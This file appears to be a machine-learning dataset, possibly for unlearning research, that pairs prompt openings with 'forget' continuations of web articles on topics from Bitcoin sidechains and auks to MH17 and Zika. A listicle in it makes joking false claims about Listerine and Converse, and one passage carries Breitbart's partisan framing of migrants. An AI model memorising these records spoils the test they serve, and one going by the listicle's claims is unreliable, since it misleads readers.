{"prompt": "HOW TO ADD THE SKETCHBOOK! There seems to be a bit of confusion regarding how to go about getting the sketchbook, and for that, I apologize. Allow me to explain the process in better detail :) This is for ALL current and future backers. The 100 page digital sketchbook is now available and can be added to any and all pledge levels by simply increasing your current or future pledge, at any time, by an additional $10. There is no need to message me, because when you do, I am automatically notified that you have done so :) Easy as", "forget": "that! 1st STRETCH GOAL UNLOCKED! *Both cards will be included in the \"BAAKO WORLD WIDE\" tier as well! The characters featured on these 2 new cards will be revealed in the coming days as well! 2nd STRETCH GOAL UNLOCKED! 3RD STRETCH GOAL UNLOCKED! Buttons will be 1 INCH* ADD AN ADDITIONAL BOOK FOR $15! Anyone interested in adding additional copies of the book, may do so by simply adding an extra $15 for each additional copy to their selected tier! This kickstarter will be a means to dedicate the necessary time and funds needed to finish and print the 1st of 3 books in a series and to make the book available for anyone and everyone via shops and online. The first book will be a 100+ page, fully-colored graphic novel written and illustrated by me (Joshua Covey.) WHY KICKSTARTER?: For the past 2 years, I have been working freelance in comic books. Freelance stuff is fun, don't get me wrong-- I truly appreciate every opportunity I've been given. Kickstarter though, is my chance of doing a book without limitations. It gives me the ability to do the book how I envision it, and it opens up so many other possibilities. For example, being able to have talented people that I have come to know and love, lend their own talents to the project. As well as the incentives, like the \"creature creation\" pledge. These are things I feel I wouldn't have the ability to do if I were to take the project to a publisher. The story is complete, but unfortunately, I lack the proper funding to really kick the production into full swing. I have started working on what I can between freelance gigs, but I fear it could be far too long before the book makes it"}
{"prompt": "Sidechains have been the source of increased excitement in the Bitcoin community over the past year due to the belief that this new technology will allow an endless number of features to be integrated into the Bitcoin protocol. There are still a few people out there who believe sidechains are nothing more than vaporware, but the sidechains concept has an experienced team of Bitcoin Core developers behind it, not to mention a startup, Blockstream, that announced a $21 million round of funding late last year. Blockstream recently released Sidechain Elements, which is a federated, alpha release of their originally outlined", "forget": "pegged sidechains proposal. The idea is that this early version allows the community to test out the concept without making any changes to Bitcoin Core. Some have pondered whether it could take up to five years for a true, two-way peg implementation to make its way to Bitcoin. Although the timeframe for a real two-way peg is unclear, there seems to be a general path for this new functionality to make its way into Bitcoin. What Will It Take to Enable Two-Way Peg Support for Bitcoin? Cryptographer Adam Back is, perhaps, best known as the inventor of hashcash, which is the underlying proof-of-work system utilized by the Bitcoin blockchain. He\u2019s also the President and Co-Founder of Blockstream, which means he should have a general idea of how decentralized, two-way peg sidechains will eventually be rolled out. In a recent email to CoinJournal, Back was able to describe what needs to happen in order for two-way peg support to be possible in Bitcoin: \u201cTwo-way peg support would generally be possible with any generic and sufficiently flexible scripting language, it is just a script that verifies a compact hash chain structure. Two-way peg appears almost \u2014 but probably not quite \u2014 possible today with Bitcoin script; however, I think we can fairly say this a historical accident due to slight limitations in bitcoin script, which had various opcodes disabled defensively for security reasons some years back. By doing some very advanced tricks across multiple transactions, it might even be just possible already (exercise for the reader).\u201d When it comes to the \u201cvery advanced tricks,\u201d Back also added, \u201cIf someone can solve that exercise for the reader via advanced Bitcoin script hacking, we\u2019d be very happy to hear from them.\u201d A BIP and Community Consensus According to Back, either an upgrade to Bitcoin"}
{"prompt": "Indoctrination is a new apocalyptic political thriller comic book series from comic writer and novelist Michael Moreci (Roche Limit, Burning Fields) and SuperPAC operator-turned-comics artist Matt Battaglia, published by Z2, delves into the powerful ideology that drives the terrifying underbelly of America. Mixing elements of True Detective with Se7en, Indoctrination confronts the very real horror of death cults and sleeper cells, serial killers and apocalyptic nightmares, in the 21st century. Indoctrination begins in the dusty southwest with a string of murders that portend the sinister designs of an infamous terrorist to bring about the end times. Only the rogue actions", "forget": "of two FBI agents, who must rely on a potentially untrustworthy expatriate with deep ties to the terrorist, can stop the darkness. Indoctrination follows these two FBI agents as they develop a complicated relationship with an infamous terrorist, in an attempt to solve a string of grizzly, seemingly related murders. Here\u2019s the making of the third issue cover\u2026 And while we\u2019re at it, the retailer incentive covers to issue 1 and 2\u2026 with a little indoctrination of Michael Moreci\u2019s own to comic book retailers\u2026 Moreci writes, Selling comics isn\u2019t easy. That\u2019s the no-brainer statement of the year, right? We know that all too well. When it comes to comics, we\u2019re looking at a comparatively small group of readers that tend to have very particular, and habitual, tastes. That\u2019s why selling new comics is especially difficult, like squeezing-a-watermelon- through-a-chain-link-fence difficult. You gotta push really hard. But, new comics are essential to the business of comics. They\u2019re the most effective way to expand sales, whether through getting current readers to adopt a more robust reading list or bringing in new readers altogether with a different genre or offering. But, again, they\u2019re difficult because they involve risk. Risk for the creators to make, retailers to order, and readers to buy. In my opinion, retailers are risking the most in this equation. You are, and I mean this without an ounce of hyperbole, the lifeblood of this industry. Retailers are on the front line of comics, taking financial risks every single week in order to literally keep the medium alive. Your job isn\u2019t easy but, like creators, you are driven by your passion for comics and your insistence, beyond all reason (also like creators), to stay committed to this amazing medium. For that\u2014for keeping comics alive through your love and dedication\u2014I thank you. Because"}
{"prompt": "This article is about a family of birds. For the ornithological journal, see The Auk . For other meanings, see AUK \"Auklet\" redirects here. For the fishery patrol vessel, see MV Auklet An auk or alcid is a bird of the family Alcidae in the order Charadriiformes. The alcid family includes the murres, guillemots, auklets, puffins, and murrelets. Apart from the extinct great auk, all auks are notable for their ability to \"fly\" under water as well as in the air. Although they are excellent swimmers and divers, their walking appears clumsy. Several species have different common names in Europe", "forget": "and North America. The guillemots of Europe are referred to as murres in North America, if they occur in both continents, and the little auk is referred to as the dovekie. Description [ edit ] Auks are superficially similar to penguins having black-and-white colours, upright posture and some of their habits. Nevertheless, they are not closely related to penguins, but rather are believed to be an example of moderate convergent evolution. Auks are monomorphic (males and females are similar in appearance). Extant auks range in size from the least auklet, at 85 g (3 oz) and 15 cm (5.9 in), to the thick-billed murre, at 1 kg (2.2 lb) and 45 cm (18 in). Due to their short wings, auks have to flap their wings very quickly in order to fly. Although not to the extent of penguins, auks have largely sacrificed flight, and also mobility on land, in exchange for swimming ability; their wings are a compromise between the best possible design for diving and the bare minimum needed for flying. This varies by subfamily, the Uria guillemots (including the razorbill) and murrelets being the most efficient under the water, whereas the puffins and auklets are better adapted for flying and walking. Feeding and ecology [ edit ] The feeding behaviour of auks is often compared to that of penguins; both groups are wing-propelled pursuit divers. In the region where auks live, their only seabird competition are cormorants (which are dive-powered by their strong feet). In areas where the two groups feed on the same prey, the auks tend to feed further offshore. Strong-swimming murres hunt faster schooling fish, whereas auklets take slower-moving krill. Time depth recorders on auks have shown that they can dive as deep as 100 m in the case of Uria guillemots, 40 m for"}
{"prompt": "It\u2019s hard to anticipate every health problem that might occur on a trip to Mars, which could span years. But NASA is trying. It has a list of 100 conditions or events that are most likely to happen during spaceflight, including pancreatitis, lumbar spine fracture and lost fingernails due to ill-fitting spacesuit gloves. And the agency has highlighted 23 particular health risks of long-duration space travel that require further work to mitigate before a crewed spacecraft takes off for Mars in the 2030s (NASA\u2019s schedule) or sooner (Elon Musk\u2019s schedule). But nine of these risks are currently considered \u201cred,\u201d i.e.,", "forget": "they have both a high likelihood of happening \u2014 defined as greater than a 1 percent chance of occurring, and high stakes (i.e., death, permanent disability or long-term health impact) if they do: space radiation, visual impairment, cognitive or behavioral conditions, the long-term storage of medications, inadequate food and nutrition, team performance issues, in-flight medical conditions, user issues with onboard technology and bone fracture. These are high priority and \u201creally have to get worked out\u201d before we go to Mars, said William Paloski, director of NASA\u2019s Human Research Program, though he adds that space exploration is inherently risky and volunteers will have to be aware of all known risks, red or not. Radiation is a biggie. There are two types that are worrisome. Solar particles from the sun can deliver high doses of radiation unless people are shielded by a spacecraft, other sturdy shelter or sufficient water, said Dorit Donoviel, deputy chief scientist of the National Space Biomedical Research Institute, a NASA-funded consortium of research institutions led by Baylor College of Medicine. These solar particle events can also be predicted, but sometimes only about 20 minutes in advance. The problem is, if you\u2019re on the surface of Mars in a spacesuit or land vehicle, that may not be enough time to get to shelter. And if you\u2019re exposed to one of these events, you could experience the kind of acute symptoms people suffered near the nuclear blast zone in Hiroshima, including severe nausea. \u201cYou are dead if you vomit in a spacesuit\u201d because the fluid and particles glom up the air supply, Donoviel said. Even if that initial hit is survivable, the radiation wipes out blood cells, leaving you vulnerable to deadly infections. Better prediction tools would help give people more warning of a solar particle event and more time"}
{"prompt": "Samir Hussein/Getty After naked photos of about 20 celebrities leaked online last night, the internet scrambled to try and figure out exactly how the images became public. In the original 4chan thread where the hacker first posted the images, the consensus was that Apple's iCloud service was to blame. But how likely is it that Apple's encrypted cloud service led to the mass hack, and what are the other ways that the nude photos could have emerged? The original leaker behind the celebrity photos claimed that they accessed the images using the iCloud accounts of various celebrities. It's unlikely that", "forget": "someone has broken into Apple's iCloud service. Instead the photos most likely emerged due to a type of hacking known as \"social engineering.\" This exploit works by learning which online services your target uses, and then compiling as much data on them as possible before using that data to either spoof access, or to simply use their email address and a guessed password to log in to their account. Jennifer Lawrence is known to use iCloud after she let slip in a red carpet interview with MTV this year that she frequently has trouble with the service, remarking \"My iCloud keeps telling me to back it up, and I'm like, I don't know how to back you up. Do it yourself.\" After discovering the iCloud account of a celebrity, it's trivially easy to access their online photo backup through Apple's Photo Stream utility and iCloud photo backups. Analysis of the embedded EXIF data (information about where and how the picture was taken that is frequently appended to digital photo images) included in one of the leaked images shows it was taken a few weeks ago, well within Photo Stream's limit of 30 days before images are deleted. However, actress Mary Elizabeth Winstead claimed on Twitter that the leaked photos of her included in the hack were taken \"years ago.\" Dropbox or Google Drive Despite the original leaker claiming to have accessed the trove of photos thanks to an iCloud exploit, the range of devices showcased suggests that another service may have been to blame. Various naked celebrities are photographed taking selfies with Android devices and webcams. Leaked videos could not have originated from the iCloud photo backup service. The range of devices and media may mean that another backup service like Dropbox or Google Drive could be the originator of"}
{"prompt": "A group of feminist academics have rallied against plans to make street harassment illegal in France, on the grounds that new laws could \u201cstigmatise\u201d men with migrant backgrounds. \u201cIt is well known that racialised young men from the working classes already suffer more than other people from police violence and oppression,\u201d assert the academics, in a letter opposing equality minister Marl\u00e8ne Schiappa\u2019s announcement that MPs are working on legislation to reduce street harassment. \u201cIt would be enough to train the perpetrators on the ground to change their behaviour,\u201d write the 15 signatories, stating: \u201cCreating a new offence will only strengthen", "forget": "the repression and control of men in disadvantaged groups.\u201d In the letter, which was published by newspaper Lib\u00e9ration, the academics also complain that plans to penalise harassment will be restricted to the street, when women can be subject to abuse at home and at their place of work. Stating that criminalising street harassment \u201cwill serve to identify what forms of sexism are illegitimate\u201d, the letter warns it will \u201ckeep the abuse committed in high-end districts of town and in the offices of large corporations hidden in the shadows\u201d. Can you blame them? https://t.co/mk6sRCbJhI \u2014 Breitbart London (@BreitbartLondon) April 20, 2017 Speaking in September on what would be covered by the new legislation, the equality minister said: \u201cYou are a woman in an underground train. I am a man. I follow you. You get off the train. I get off. You get on another train. I get on too. I ask you for your telephone number. I ask again. I ask a third time. You feel oppressed. That is street harassment.\u201d The crackdown followed the publication of a number of surveys which outlined the prevalence of street harassment in some parts of France. A 2015 study conducted in migrant-heavy French districts Seine-Saint-Denis and Essonne, carried out by the High Council for Equality between Women and Men (HCEfh) \u2013 concluded that 100 per cent of women had been subjected at least once in their lives to sexual harassment or sexual assault. In May, Breitbart London reported how some areas of Paris have become virtual \u201cno-go\u201d zones for women, who reported no longer being able to leave their homes without migrants subjecting them to verbal abuse. Local media described how, over the previous 12 months \u2014 as immigrants and drug dealers flooded the east Paris district of Chapelle-Pajol \u2014 the streets became crowded"}
{"prompt": "Bill Maurer is an anthropologist at the University of California, Irvine. He is one of a few scientists of the Arts who researched virtual currencies like Bitcoin. In this interview he explains what Bitcoin can tell us about money in the early 21th century \u2013 and why he finds it weird to think that money needs to be a commodity. \u201c \u2026 and from the beginning it was clear that we\u2019d have to research this!\u201d Hello Bill. You\u2019re an anthropologist researching money and Bitcoin. How does this stick together? What question do the Arts have for Bitcoin? Yes, I\u2019m an", "forget": "anthropologist. Almost all of my research was about law and economy. I was looking at finance, how the offshore economy was received in local communities in the Caribbean, and that got me interested thinking more deeply about money. How do people understand money? How do they use money to express ideologies or to foster relationships? In 2007/2008 I researched the interface between money and new technologies. When Bitcoin came along, I was in the middle of a study about mobile phones and money in sub-Saharan Africa. We were thinking about the implications of mobile phones on money. How do digital transactions change the conversations about mobile money, not in terms of security or encryption, but more in terms of cultural effects? And then came Bitcoin. I remember clearly: I was sitting in a cafe, working on something else with my students. Then someone told us about Bitcoin, we downloaded the original Satoshi whitepaper describing the concept, and from the beginning it was clear that we\u2019d have to research this. What was the question of your research? The first questions were: What is it? And why is it so interesting for people? We talked to technologists and scientists and found out that Bitcoin promises a future of nearly real time transactions, but in fact it will never be as fast as credit cards. And yet it is something a lot of people are interested in and invested money in. Why? What can Bitcoin tell us about money in the early 21th century? Why are people talking about money again? Why in this specific historical moment had money become an issue again? How was Bitcoin capturing so much attention in this moment in the history of money. \u201cCan we remake money? How can we make it different?\u201d One of the most disturbing"}
{"prompt": "CLOSE President Trump reprised his attacks on former San Francisco 49ers quarterback Colin Kaepernick, telling supporters in Ky. that 'they like when people stand for the American flag.' Wochit Colin Kaepernick was selected as one of Time's 100 most influential people of 2017. (Photo: Marcio Jose Sanchez/AP file) Colin Kaepernick, whose national anthem protest sparked equal amounts of applaud and outrage, was named one of Time's 100 most influential people of 2017. The former Wolf Pack quarterback, who is an NFL free agent, began his protest of the anthem by first sitting and then kneeling as it was played before", "forget": "NFL games. Other NFL players, including Nevada alum Brandon Marshall, followed his lead. During a game against Purdue, a dozen Wolf Pack players held a single fist in the air during the anthem. Kaepernick said his protest was over the oppression of minorities, including police brutality. \"I am not going to stand up to show pride in a flag for a country that oppresses black people and people of color,\" Kaepernick told NFL Media about his protest. \"To me, this is bigger than football and it would be selfish on my part to look the other way. There are bodies in the street and people getting paid leave and getting away with murder.\" Kaepernick, who donned the cover of Time magazine last September, went on to say he loved America and his protest was being misunderstood and wasn't a statement against the military. He pledged to donate $1 million (he's donated $400,000 so far) and sent food, water and aid via plane to Somalia, which is experiencing a historic famine. He also started free \"Know Your Rights\" camps for youth. President Donald Trump, who has taken credit for Kaepernick being unemployed, was critical of the quarterback during the president race. \u201cI think it\u2019s personally not a good thing,\" Trump said of the protest. \"I think it\u2019s a terrible thing. And, you know, maybe he should find a country that works better for him. Let him try. It won\u2019t happen.\u201d Time listed Kaepernick among the \"icons\" in its 100 most influential list. His former 49ers' quarterback, Jim Harbaugh, penned the Time write-up applauding Kaepernick. Harbaugh initially said he was against the act \u2013 \"I acknowledge his right to do it, but I don't respect the motivation or the action,\" he said \u2013 before changing his stance. \"I thank Colin for all"}
{"prompt": "click to enlarge American Immigration Council. I got kicked out of a public, federal immigration court hearing yesterday because I\u2019m a newspaper reporter. And it wasn't the judge who wanted me to leave. It was the Immigration and Customs Enforcement attorney. Here's what happened.For several months, I've been observing the immigration court in San Francisco. Mostly I've sat in on bond hearings and \"removals,\" more commonly known as deportations. The entire time, ICE attorneys and private security guards have been attempting to limit my access.Yesterday was the worst.At 1 p.m., I walked into Courtroom 18, inside the 100 Montgomery Street", "forget": "offices of the Department of Homeland Security, to observe several deportation cases on Judge Joren Lyons' calendar. I quietly sat down in the second row to the back. Eight other people, family members of two individuals whose cases were on the calendar, were also present.When the judge entered, he asked those of us sitting in the public seats if we were there for a particular case. The others all replied affirmatively, but none of them was made to identify their profession, state their name, or produce any identification.The judge then asked me. \"I'm here to observe,\" I answered. And the judge had no problem with that.According to the official rules of the Executive Office of Immigration Review, which runs the immigration courts, hearings are generally open to the public unless a specific case involves an asylum request or an abused child or spouse, or where a sealed protective order has been filed. Parties to a case can also submit motions to the court in advance of a hearing to request it be closed. And judges have discretion to close hearings to protect parties, witnesses, and the public interest. But, generally, immigration courts are supposed to operate transparently. Open hearings that are accessible to everyone, including reporters who let the public know what their government is doing, are in the public interest.But before Judge Lyons could begin, the ICE attorney seated in the front of the courtroom turned around and looked straight at me. \"Who are you?\" he asked.I responded with a question of my own: \"Why do you want to know?\"\"Are you a member of the press?\" he questioned me.I didn't answer his question. Instead, I asked again why he wanted to know if I was a reporter.\"I have a right to know if you are media,\" he said. \"We"}
{"prompt": "\"The unheralded scandal of the tobacco industry is the damage to land in developing nations\" was the message of a presentation delivered at the Fifth World Conference on Smoking and Health in Canada on July 12, 1983.(1) This discussion paper will adddress, in more detail, the links with tobacco and deforestation, pesticide use, land use, environmental degradation, fires, litter and pollution. Deforestation is considered one of the most severe environmental problems worldwide. Modern cigarette manufacturing uses wood to cure the tobacco and to roll and package the cigarettes. In fact, a cigarette manufacturing machine uses four miles of paper per", "forget": "hour to roll and package cigarettes. It is estimated that one tree is consumed for every 300 cigarettes produced.(2) In Brazil, the third largest producer and number one exporter of tobacco in the world(3), the country's farmers are estimated to need the wood of 60 million trees a year.4) This large scale deforestation damages the land and contributes to increased flooding, decreased food output and can affect the local climate. On a global scale, many scientists believe deforestation is changing the world's climate and contributing to global warming. The industry claims to encourage reforestation programs. But these programs are problematic in that small farmers in the developing world prefer to use their small amount of land to grow food rather than replacement trees. Eucalyptus trees grown for reforestation are used for building while native forests continue to be burned for curing. Small farmers in the developing world cure tobacco on their own land with their own barn, each having to find their own wood. Solar and central curing would save huge amounts of wood, but are not encouraged by the tobacco industry because they would cost the farmer more. Diversifying to grow other cash products isn't always feasible as the economic incentives provided by the tobacco companies make tobacco an irresistibly profitable commodity, especially to poor farmers. There is also a direct impact on the people living in developing countries. According to Dr. Judith MacKay, director of the Asian Consultancy of Tobacco Control in Hong Kong, the use of peasant farmland for tobacco growth \"denies 10-20 million people food...where food has to be imported because the rich farmland is being diverted to tobacco production..\"(4) Women in some developing countries carry the heaviest burden since they must carry out farming-related tasks and collect wood for the barns as well as for"}
{"prompt": "But before the MH17 crash, security concerns closed Ukrainian airspace. An airliner flies under smoke left by a Ukrainian military plane a few kilometres from the Russian border on July 16. Credit:AFP The US Federal Aviation Administration issued a \"special notice\" regarding Ukrainian airspace advising airlines to \"exercise extreme caution due to the continuing potential for instability\" and Eurocontrol warned pilots and airlines to avoid Ukrainian airspace due to serious risks. Aviation experts last night said operators continued to fly across the zone because it was the quickest and cheapest route for some flights. Brian Flynn, a spokesman for Eurocontrol,", "forget": "which directs air traffic across Europe, said Ukrainian aviation authorities had closed the airspace below 32,000 feet on Monday after having earlier restricted the airspace below 26,000 feet, on July 1. In both cases, the closures came as a result of security concerns after rebels shot down Ukrainian military aircraft. Mr Flynn said it is up to the Ukrainian government to decide whether and how to restrict airspace, with Eurocontrol responsible for helping to implement those decisions. The plane crash site near the settlement of Grabovo. Credit:Reuters Before the crash, 300 commercial aircraft a day were flying through eastern Ukrainian airspace, with most serving as long-haul flights between Europe and Southeast Asia. Mr Flynn said such flights typically cruise at between 33,000 and 37,000 feet. Qantas said on Friday it had shifted the flight path for its London to Dubai route over Ukraine some 400 nautical miles to the south several months ago. A Qantas spokesman declined to comment on the reasons for the shift, which came amid heightened tensions between Kiev and pro-Moscow rebels. Mr Flynn said airlines can elect to avoid an area even if it\u2019s not closed, but that he did not believe any had chosen to do so in eastern Ukraine. \u201cI\u2019m not aware of any airlines that were specifically avoiding that area,\u201d he said. Norman Shanks, a former head of group security at airports group BAA, said: \"Malaysia Airlines, like a number of other carriers, has been continuing to use it because it is a shorter route, which means less fuel and therefore less money. Attacks on aircraft in the area have been rife. In the past week alone two Ukrainian military aircraft were shot down and a third was damaged by a missile.\" Immediately after the crash yesterday, several other airliners followed the same"}
{"prompt": "Everyone knows corporations are evil, not to be trusted, and are completely willing to kill on a whim, but we don\u2019t expect them to be so brazen about it. We want their decisions, especially the ones where they show they don\u2019t care about their customers or the law, to be made behind closed doors, not in public view so we can make a list about them. Well OK, maybe you don\u2019t want them to, but we do. That way, we can write about how \u2026 10. Listerine Straight-Up Invented a Problem to Sell a Product Nobody Needs Listerine was once", "forget": "used to clean floors. We\u2019re not taking a pot shot at its nasty, foul taste that burns the roof of your mouth and makes orange juice taste like out-of-date acid someone spat in. It literally used to clean people\u2019s floors. When its inventor realized nobody wanted to buy it, he realized he needed to give them a reason to do so, and that reason was smelly breath. This guy literally invented halitosis, a problem no one suffered from (because it didn\u2019t exist) that his product could cure. To make it even better, Listerine doesn\u2019t do jack. Sure, it cleans your mouth, but as for stopping bad breath, the reason it was supposedly invented, it can actually make bad breath worse. 9. Converse Adds an Unnecessary Layer of Fuzz to Skip Taxes If you happen to be a fan of Converse shoes, congratulations on paying $50 for ugly slippers. That\u2019s not a slang term. As discussed here, the clever people at Converse add a fine layer of fuzz to the bottom of their shoes. This technically makes the shoe a house slipper, lowering the crap out of the import tariff Converse pays on shipping them into the country. So technically, Converse shoes are never supposed to be worn outside. Or ever really, if you ask us. You may think this sounds like a clever exploit of a loophole \u2014 which it is \u2014 but it\u2019s also one on behalf of a huge company that is effectively robbing the US of millions in taxes. Not to mention the environmental cost of putting all that fuzz onto the soles of the shoes (they must shave a lot of animals to get it all.) Wait a second, maybe this is why pandas are going extinct. Don\u2019t wear Converse kids, unless you want to live"}
{"prompt": "The recent rash of ContentID claims across YouTube has threatened to strike down a fair number of the site\u2019s channels. For creators who hope to make a decent living off of online video, contesting these claims is a must, but that step requires a dive into the confusing field of copyright law. Luckily, there are lawyers willing to help. New Media Rights is a non-profit organization that, among other duties, provides legal services for online content creators besieged by copyright claims. Obviously, this field requires a thorough knowledge of YouTube copyright law, so we asked to New Media Rights attorney", "forget": "Teri Karobonik for some tips on navigating ContentID. Tubefilter: Are there steps YouTube creators can take in order to \u2018safeguard\u2019 their videos from invalid ContentID claims? If so, what are they? Teri Karobonik: It\u2019s hard to entirely prevent a ContentID claim. However, we recommend that creators use only use as much copyrighted content as they absolutely need to make their point. Also, in the wake of the drastic rise in ContentID claims, which involved ContentID matches to in-game music, creators incorporating video game footage in their videos should mute background music in game. When in doubt, get a license or used openly licensed content (like Creative Commons). We have a great guide on finding openly licensed content. TF: How can YouTube musicians protect cover songs from ContentID claims? TK: Cover songs, without the proper licenses, actually violate copyright law and can result in ContentID claims and DMCA takedowns. Some services (like Loudr) have recently popped up to help cover writers get the proper licenses for their cover songs. If you have a written license, it will be much easier to get the situation resolved if your video gets monetized or taken down. TF: How can YouTube creators tell what is considered fair use and what is not? That is, where is the \u201cline\u201d between fair use and copyright infringement? TK: Fair use is complex, and even for experienced lawyers, it\u2019s very hard to tell where the \u2018line\u2019 is between fair use and copyright infringement. Unfortunately, most of the easy \u2018fair use rules\u2019 are myths; it\u2019s not true that it\u2019s OK to only use 20 seconds of a work, nor is journalistic use always allowed. It\u2019s never a good idea to rely on legal myths when you\u2019re creating your videos. Fair use relies on a complex four-factor balancing test to determine"}
{"prompt": "Discussion: Thunder and Tejas The Indian Air Force (IAF) finally inducted its first batch of Tejas multi-role fighters last week. Produced by Hindustan Aeronautics Limited (HAL), the Tejas was under development for about 30 years, and it is the second homegrown fighter in the IAF\u2019s history, the first being the HF-21 Marut. The Tejas is envisaged to replace the IAF\u2019s legacy MiG-21bis fighters. There is not much to add except the fact that the Tejas is a potent and fully capable lightweight fighter. In fact, it even got a bit of intriguing fanfare from Dawn News (a leading Pakistani newspaper),", "forget": "which stated that the HAL Tejas was \u201cconsidered superior to counterparts like the JF-17.\u201d Sadly, Dawn did not add much to qualify the statement, which has fed into a lot of noise and one-sided chiding from South Asian enthusiasts. The following is not a conventional comparison, nor is there a conclusion of which one is better. Rather, Quwa\u2019s position that is that the two platforms are broadly comparable, but excel over one another in context, i.e. specific areas. The Tejas is already equipped with a helmet mounted display and sight (HMD/S) system in the form of the Elbit DASH. In fact, a fair assessment would also recognize that the Tejas\u2019 radar, the Elbit EL/M-2032, is a credible and widely appreciated system. India also spent more time on airframe development, hence the reason why the Tejas entered service at a time when the Pakistan Air Force (PAF) is fielding three full JF-17 squadrons. In exchange for its development time, the Tejas enters the field with a fully digital fly-by-wire (FBW) flight system, a heavy use of composite materials, and a credible turbofan engine (i.e. GE404). Today, the Tejas is the better equipped fighter. However, this does not mean that is the decisively superior platform. To suggest as much would be to claim that the PAF has capped all development of the JF-17, and as such, has no plans to configure the JF-17 with subsystems that are comparable to those on current and future Tejas variants. Moreover, the better unit does not mean its rival is not comparable, which is a far more important metric considering nothing remains static over the course of time. The JF-17\u2019s development was driven by necessity, but it was also encumbered by Pakistan\u2019s problems. In terms of the former, the JF-17 was designed from the onset as"}
{"prompt": "Team including ASU researchers develop paper-based virus diagnostic that can be easily administered around the world Editor's note: This story is being highlighted in ASU Now's year in review. To read more top stories from 2016, click here. Fear of the Zika virus is spreading as images of afflicted infants fill the news. Hoping to foil Zika\u2019s rapid advance, researchers from the Wyss Institute in Boston, along with colleagues from Arizona State University, have developed a low-cost ($1 per test), practical diagnostic that can be easily administered, even in areas where resources and medical expertise are scarce. Alexander Green, an", "forget": "ASU professor at the Biodesign Center for Molecular Design and Biomimetics and the School of Molecular Sciences, is a co-author of the new study. \u201cMy lab is focused on developing molecular tools to detect diseases,\u201d he said. \u201c\u2026 We can take our tools, put them on pieces of paper in a very stable and low-cost format, and they can be deployed around the world.\u201d With the recent confirmation by the Centers for Disease Control and Prevention that the virus can cause serious brain abnormalities in infants born to Zika-infected mothers, the previously obscure virus has assumed center stage. Biodesign researchers and their colleagues report their findings in the advance online issue of the journal Cell. The platform they describe \u2014 which uses a small strip of paper imprinted with a testing array \u2014 holds the potential for diagnosing a broad range of infectious diseases. The growing need for accurate diagnosis Among infectious diseases, Zika is the great deceiver. Unlike its close cousin dengue \u2014 which produces symptoms of such excruciating severity it is often referred to as breakbone fever \u2014 a Zika infection, delivered through the bite from an infected Aedes aegypti mosquito, often passes without notice. When symptoms do appear, they are typically mild, including fever and joint pain. For pregnant women who may have been exposed, uncertainty over the fate of their offspring can be a source of acute anxiety. Recent evidence indicates that the disease is also transmissible through sexual intercourse. Accurate diagnosis of Zika infection is challenging, but critical to public health. With an eventual vaccine against the virus likely years away, a widely available diagnostic test to confirm Zika infection and monitor the geographic range of the disease is an essential step in limiting the rising tide of infections. ZikaZika is named for a forest"}
{"prompt": "Image copyright Getty Images Image caption Some 100 Jewish families left rebel-held Donetsk in September after a prominent businessman was murdered Leaders of Ukraine's Jewish community have come out strongly in support of the Kiev government in its conflict with Russia, rejecting Moscow's accusations that their country is now a hotbed of anti-Semitism. But some are uneasy about the far-right extremists fighting with Ukrainian volunteer battalions in the east, as well as incidents of \"everyday anti-Semitism\" in Ukraine. Russian media and officials have been portraying Ukraine as a hotbed of far-right extremism, including anti-Semitism, ever since former President Viktor Yanukovych", "forget": "was removed from power at the end of February. In his first public reaction to Mr Yanukovych's downfall, President Vladimir Putin told journalists on 4 March: \"We see the rampage of reactionary forces, nationalist and anti-Semitic forces going on in certain parts of Ukraine, including Kiev.\" He used similar language in his speech declaring the annexation of Crimea two weeks later, when he said that the \"coup\" against Mr Yanukovych was the work of \"nationalists, neo-Nazis, Russophobes and anti-Semites\". The Association of Jewish Organisations and Communities (VAAD) of Ukraine responded with an open letter saying that President Putin's assertions about the rise of anti-Semitism in their country \"did not match reality\". Mr Putin's advisers \"might have confused Ukraine with Russia where Jewish organisations registered a rise of anti-Semitism last year\", it added. Fascists on both sides Shmuel Kaminetsky, a rabbi in Dnipropetrovsk, home to one of the country's largest Jewish communities, also rejects the idea that Ukraine is anti-Semitic. Image copyright EPA Image caption Russian media warn of the threat of Dmitry Yarosh's Right Sector, but the party's electoral support is not high Life is \"easier and safer\" for Jews in Ukraine than in Western countries such as Belgium and France, where radical Islam is on the rise, he said in a recent film about efforts to defend Dnipropetrovsk against the Russian-backed insurgency. Ever since Mr Yanukovych's downfall, Russian media have played up the threat from Ukrainian far-right organisations, such as Right Sector and the Freedom party. But neither of these parties has widespread support. In the presidential election in May their leaders obtained a combined vote of less than 2%. They also failed to breach the 5% threshold in the recent parliamentary election. Still, concerns remain about the presence of far-right extremists in some parts of Ukrainian society, especially"}
{"prompt": "Whenever something momentous happens in superhero comics history, mysterious figures always seem to appear and observe proceedings. In the Marvel Universe, it's the Watcher (we still have no idea why he was at the Black Panther/Storm wedding. I'm betting it was for the hors d'oeuvres). In the DC Comics Universe of the 1980s, the Monitor observed the actions of heroes and villains. In the new DC Universe ushered in by the publisher's New 52 initiative, the latest arcane observer -- and the record holder for the most appearances of a single comic book character within one month ( 53 to", "forget": "be precise) -- goes to the enigmatic and sensational character find of 2011, The Woman in the Red Hood. We don't know her true name or powers yet, which definitely cuts down on her potential to become a DC Direct action figure, but she does give the attentive comics reader a seek-and-find game in the style of Where's Waldo? I've read the New 52 comics and found the Woman in the Red Hood hidden in each and every comic, with varying degrees of difficulty. To paraphrase those Scrubbing Bubbles: I found her, so you don't have to. Red-Hooded Woman appears at the end of Flash's odyssey in Flashpoint #5 in the double-page spread on page 24-25 (all page references in this article are based on the story pages, not comic pages) and tells Barry Allen he's instrumental to weaving three earths together. Barry's able to put his universe back into place...but not quite . Fittingly for the first hero of the Silver Age, Barry's created this new DC Universe, a home of heroes and villains we're still exploring. But, with Barry's usual luck, he's not only created a world in which his mother was fated to die, but in which he hasn't (yet?) become romantically involved with wife Iris. Good job, Flash...and tough breaks. The Woman in the Red Hood won't speak again throughout the first month of the New 52, but she appears in one panel in each of DC's 52 relaunch comics , from Justice League to Voodoo . New 52, Week Zero - Justice League : She's in the bleachers at the Ford Titans football game starring Vic Stone (page 18, panel 2). No word on whether she was at the pre-game tailgate party. Why here rather than at the historic Batman/Green Lantern/Superman meeting? We'll find she"}
